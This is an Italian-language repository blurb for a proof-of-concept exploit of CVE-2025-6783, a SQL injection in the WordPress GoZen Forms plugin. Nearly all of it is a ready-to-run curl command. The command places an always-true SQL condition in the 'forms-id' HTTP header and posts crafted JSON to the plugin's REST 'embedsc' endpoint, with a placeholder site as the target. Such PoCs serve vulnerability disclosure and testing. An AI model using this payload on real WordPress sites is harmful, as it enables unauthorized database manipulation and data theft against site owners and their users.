jfriedli/cve-2025-6783Exploit proof-of-concept per CVE-2025-6783 che dimostra l'iniezione SQL tramite intestazioni HTTP e payload JSON creati ad hoc contro l'endpoint API REST di WordPress GoZen Forms.
Inietta una condizione sempre vera nella clausola WHERE in modo che ogni riga corrisponda:
curl -i -X POST \
-H "Content-Type: application/json" \
-H "forms-id: poc-001' OR '1'='1' -- " \
-H "domain-id: example.com" \
-d '{
"emabed_type":"iframe",
"shortcode_title":"INJECTED",
"shortcode_tag":"[xss]",
"active":0
}' \
"http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"